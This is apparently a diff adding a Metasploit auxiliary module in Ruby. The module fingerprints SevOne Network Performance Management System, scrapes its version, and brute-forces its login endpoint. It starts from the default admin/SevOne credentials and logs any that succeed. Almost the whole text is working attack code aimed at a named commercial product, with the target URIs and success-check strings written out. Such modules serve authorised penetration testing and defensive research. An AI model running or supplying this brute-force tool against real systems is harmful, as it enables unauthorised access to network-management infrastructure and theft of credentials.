|
| 1 | ++## |
| 2 | ++# This file is part of the Metasploit Framework and may be subject to |
| 3 | ++# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | ++# web site for more information on licensing and terms of use. |
| 5 | ++# http://metasploit.com/ |
| 6 | ++## |
| 7 | ++ |
| 8 | ++require 'rex/proto/http' |
| 9 | ++require 'msf/core' |
| 10 | ++ |
| 11 | ++class Metasploit3 < Msf::Auxiliary |
| 12 | ++ |
| 13 | ++ include Msf::Exploit::Remote::HttpClient |
| 14 | ++ include Msf::Auxiliary::Report |
| 15 | ++ include Msf::Auxiliary::AuthBrute |
| 16 | ++ include Msf::Auxiliary::Scanner |
| 17 | ++ |
| 18 | ++ def initialize(info={}) |
| 19 | ++ super(update_info(info, |
| 20 | ++ 'Name' => 'SevOne Network Performance Management System application version enumeration and brute force login Utility', |
| 21 | ++ 'Description' => %{ |
| 22 | ++ This module scans for SevOne Network Performance Management System Application, finds its version, |
| 23 | ++ and performs login brute force to identify valid credentials.}, |
| 24 | ++ 'Author' => |
| 25 | ++ [ |
| 26 | ++ 'KarnGaneshen[at]gmail.com', |
| 27 | ++ ], |
| 28 | ++ 'Version' => '1.0', |
| 29 | ++ 'DisclosureDate' => 'June 07, 2013', |
| 30 | ++ 'License' => MSF_LICENSE |
| 31 | ++ )) |
| 32 | ++ register_options( |
| 33 | ++ [ |
| 34 | ++ Opt::RPORT(8443), |
| 35 | ++ OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']), |
| 36 | ++ OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'SevOne']), |
| 37 | ++ OptString.new('STOP_ON_SUCCESS', [true, 'Stop guessing when a credential works for a host', true]) |
| 38 | ++ ], self.class) |
| 39 | ++ end |
| 40 | ++ |
| 41 | ++ def run_host(ip) |
| 42 | ++ if not is_app_sevone? |
| 43 | ++ print_error("Application does not appear to be SevOne. Module will not continue.") |
| 44 | ++ return |
| 45 | ++ end |
| 46 | ++ |
| 47 | ++ print_status("Starting login brute force...") |
| 48 | ++ each_user_pass do |user, pass| |
| 49 | ++ do_login(user, pass) |
| 50 | ++ end |
| 51 | ++ end |
| 52 | ++ |
| 53 | ++ # |
| 54 | ++ # What's the point of running this module if the app actually isn't SevOne? |
| 55 | ++ # |
| 56 | ++ def is_app_sevone? |
| 57 | ++ |
| 58 | ++ res = send_request_cgi( |
| 59 | ++ { |
| 60 | ++ 'uri' => '/doms/about/index.php', |
| 61 | ++ 'method' => 'GET' |
| 62 | ++ }) |
| 63 | ++ |
| 64 | ++# should include version number |
| 65 | ++ |
| 66 | ++ if (res and res.code.to_i == 200 and res.headers['Set-Cookie'].include?('SEVONE')) |
| 67 | ++ version_key = /Version: <strong>(.+)<\/strong>/ |
| 68 | ++ version = res.body.scan(version_key).flatten |
| 69 | ++ print_good("Application confirmed to be SevOne Network Performance Management System version #{version}") |
| 70 | ++ success = true |
| 71 | ++ end |
| 72 | ++ end |
| 73 | ++ |
| 74 | ++ |
| 75 | ++ # |
| 76 | ++ # Brute-force the login page |
| 77 | ++ # |
| 78 | ++ def do_login(user, pass) |
| 79 | ++ vprint_status("Trying username:'#{user}' with password:'#{pass}'") |
| 80 | ++ |
| 81 | ++ begin |
| 82 | ++ res = send_request_cgi( |
| 83 | ++ { |
| 84 | ++ 'uri' => "/doms/login/processLogin.php?login=#{user}&passwd=#{pass}&tzOffset=-25200&tzString=Thur+May+05+1983+05:05:00+GMT+0700+", |
| 85 | ++ 'method' => 'GET' |
| 86 | ++ }) |
| 87 | ++ |
| 88 | ++ check_key = "The user has logged in successfully." |
| 89 | ++ |
| 90 | ++ key = JSON.parse(res.body)["statusString"] |
| 91 | ++ |
| 92 | ++ if (not res or key != "#{check_key}") |
| 93 | ++ vprint_error("FAILED LOGIN. '#{user}' : '#{pass}' with code #{res.code}") |
| 94 | ++ return :skip_pass |
| 95 | ++ else |
| 96 | ++ print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") |
| 97 | ++ |
| 98 | ++ report_hash = { |
| 99 | ++ :host => datastore['RHOST'], |
| 100 | ++ :port => datastore['RPORT'], |
| 101 | ++ :sname => 'SevOne Network Performance Management System Application', |
| 102 | ++ :user => user, |
| 103 | ++ :pass => pass, |
| 104 | ++ :active => true, |
| 105 | ++ :type => 'password'} |
| 106 | ++ |
| 107 | ++ report_auth_info(report_hash) |
| 108 | ++ return :next_user |
| 109 | ++ end |
| 110 | ++ |
| 111 | ++ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout |
| 112 | ++ res = false |
| 113 | ++ rescue ::Timeout::Error, ::Errno::EPIPE |
| 114 | ++ |
| 115 | ++ rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT |
| 116 | ++ print_error("HTTP Connection Failed, Aborting") |
| 117 | ++ return :abort |
| 118 | ++ end |
| 119 | ++ end |
| 120 | ++end |
0 commit comments